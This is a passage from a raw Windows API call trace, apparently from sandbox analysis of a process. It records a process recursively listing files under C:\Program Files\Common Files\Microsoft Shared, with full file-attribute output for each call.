lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0055.107] GetLastError () returned 0x12 [0055.107] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.108] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.108] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0055.108] GetLastError () returned 0x12 [0055.108] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.108] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.108] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0055.108] GetLastError () returned 0x12 [0055.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.108] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.108] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e98500, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd89a9b00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x24e98500, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x7c0cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMigrate.exe", cAlternateFileName="")) returned 1 [0055.108] GetLastError () returned 0x12 [0055.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8fc3360, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8fc3360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8fc3360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.108] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8fc3360, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8fc3360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8fc3360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.108] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ae3900, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8fe94c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x29ae3900, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0055.108] GetLastError () returned 0x12 [0055.109] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.109] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.109] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0055.109] GetLastError () returned 0x12 [0055.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\en-us\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.109] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.109] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b30600, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x70b30600, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1 [0055.109] GetLastError () returned 0x12 [0055.109] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.109] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.109] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a9ef00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8cc97e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x86a9ef00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x2ff4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0055.109] GetLastError () returned 0x12 [0055.110] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.110] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.110] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0055.110] GetLastError () returned 0x12 [0055.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.111] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.111] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaae9f00, ftCreationTime.dwHighDateTime=0x1d0ca65, ftLastAccessTime.dwLowDateTime=0xd90a7ba0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xfaae9f00, ftLastWriteTime.dwHighDateTime=0x1d0ca65, nFileSizeHigh=0x0, nFileSizeLow=0x31e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0055.111] GetLastError () returned 0x12 [0055.111] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.112] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.112] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0055.112] GetLastError () returned 0x12 [0055.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.113] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.113] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0055.113] GetLastError () returned 0x12 [0055.113] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.114] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.114] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0055.114] GetLastError () returned 0x12 [0055.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.114] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.114] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.114] GetLastError () returned 0x12 [0055.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.114] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.115] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.115] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.115] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.115] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.115] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.115] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.115] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0055.115] GetLastError () returned 0x12 [0055.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.115] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.115] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.115] GetLastError () returned 0x12 [0055.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.116] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.116] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.116] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.116] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.116] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.116] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.116] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.116] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54bce1f0, ftCreationTime.dwHighDateTime=0x1d706ab, 